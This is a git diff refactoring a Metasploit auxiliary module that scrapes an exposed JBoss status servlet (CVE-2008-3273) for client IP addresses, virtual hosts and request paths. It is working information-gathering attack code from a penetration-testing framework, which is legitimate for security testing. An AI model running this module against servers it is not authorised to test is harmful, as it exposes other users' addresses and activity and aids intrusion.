diff --git a/modules/auxiliary/gather/jboss_status.rb b/modules/auxiliary/gather/jboss_status.rb index 4a49ab1b4d..e7f0846e0a 100644 --- a/modules/auxiliary/gather/jboss_status.rb +++ b/modules/auxiliary/gather/jboss_status.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -14,19 +13,18 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Jboss Status Servlet Info Gathering', + 'Name' => 'JBoss Status Servlet Information Gathering', 'Description' => %q{ - This module queries the Jboss status servlet to collect sensitive + This module queries the JBoss status servlet to collect sensitive information: URL paths, GET parameters and the clients IP address. - - Note: this module has been tested against Jboss 4.0., 4.2.2, 4.2.3 + This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3. }, 'References' => [ ['CVE', '2008-3273'], ['URL', 'http://seclists.org/fulldisclosure/2011/Sep/139'], ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'], - ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned'], + ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned'] ], 'Author' => 'Matteo Cantoni ', 'License' => MSF_LICENSE @@ -34,114 +32,81 @@ class Metasploit3 < Msf::Auxiliary register_options([ Opt::RPORT(8080), - OptString.new('PATH', [ true, "The Jboss status servlet URI path", '/status']), - OptInt.new('REQCOUNT', [false, 'Number of HTTP requests', 3]), - OptInt.new('DELAY', [false, "Delay in seconds between requests",5]) + OptString.new('TARGETURI', [ true, 'The JBoss status servlet URI path', '/status']) ], self.class) end def run_host(target_host) + jpath = normalize_uri(target_uri.to_s) - jpath = normalize_uri(datastore['PATH']) + @requests = [] - req_src = [] - req_dst = [] - req_path = [] + vprint_status("#{rhost}:#{rport} - Collecting data through #{jpath}...") - # loop to detect more informations - datastore['REQCOUNT'].times do |count| - vprint_status("#{rhost}:#{rport} #{count + 1}/#{datastore['REQCOUNT']} requests...") + res = send_request_raw({ + 'uri' => jpath, + 'method' => 'GET' + }) - begin - res = send_request_raw({ - 'uri' => jpath, - 'method' => 'GET' - }, 10) + # detect JBoss application server + if res and res.code == 200 and res.body.match(/Tomcat Status<\/title>/) + http_fingerprint({:response => res}) - # detect JBoss application server - if res and res.code == 200 and res.body.match(/<title>Tomcat Status<\/title>/) - http_fingerprint({ :response => res }) + html_rows = res.body.split(/<strong>/) + html_rows.each do |row| - html_rows = res.body.split(/<strong>/) - html_rows.each do |row| + #Stage Time B Sent B Recv Client VHost Request + #K 150463510 ms ? ? 1.2.3.4 ? ? - #Stage Time B Sent B Recv Client VHost Request - #K 150463510 ms ? ? 1.2.3.4 ? ? + # filter client requests + if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/) - # filter client requests - if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/) + j_src = $5 + j_dst = $6 + j_path = $7 - j_src = $5 - j_dst = $6 - j_path = $7 - - req_src << j_src - if !j_dst.match(/\?/) - req_dst << j_dst - end - if !j_path.match(/\?/) - req_path << j_path - end - end - end - elsif res.code == 401 - vprint_error("#{rhost}:#{rport} authentication is required!") - return - elsif res.code == 403 - vprint_error("#{rhost}:#{rport} forbidden!") - return - else - vprint_error("#{rhost}:#{rport} may not support JBoss application server!") - return + @requests << [j_src, j_dst, j_path] end end - - if datastore['DELAY'] > 0 and datastore['REQCOUNT'] > 1 - vprint_status("#{rhost}:#{rport} sleeping for #{datastore['DELAY']} seconds...") - select(nil,nil,nil,datastore['DELAY']) - end + elsif res and res.code == 401 + vprint_error("#{rhost}:#{rport} - Authentication is required") + return + elsif res and res.code == 403 + vprint_error("#{rhost}:#{rport} - Forbidden") + return + else + vprint_error("#{rhost}:#{rport} - Unknown error") + return end # show results - if !req_src.empty? + unless @requests.empty? + show_results(target_host) + end + end - print_good("#{rhost}:#{rport} JBoss application server!") + def show_results(target_host) + print_good("#{rhost}:#{rport} JBoss application server found") + + req_table = Rex::Ui::Text::Table.new( + 'Header' => 'JBoss application server requests', + 'Indent' => 1, + 'Columns' => ['Client', 'Vhost target', 'Request'] + ) + + @requests.each do |r| + req_table << r report_note({ :host => target_host, :proto => 'tcp', :sname => (ssl ? 'https' : 'http'), :port => rport, - :type => 'JBoss application server', - :data => "#{rhost}:#{rport}" + :type => 'JBoss application server info', + :data => "#{rhost}:#{rport} #{r[2]}" }) - - print_line - print_good("CLIENTS IP ADDRESSES:") - req_src.sort.uniq.each do |e| - print_good("#{e}") - end - - print_line - print_good("SERVER (VHOST) IP ADDRESSES:") - req_dst.sort.uniq.each do |e| - print_good("#{e}") - end - - print_line - print_good("PATH REQUESTS:") - req_path.sort.uniq.each do |e| - print_good("#{e}") - - report_note({ - :host => target_host, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => 'JBoss application server info', - :data => "#{rhost}:#{rport} #{e}" - }) - end - end + + print_line + print_line(req_table.to_s) end end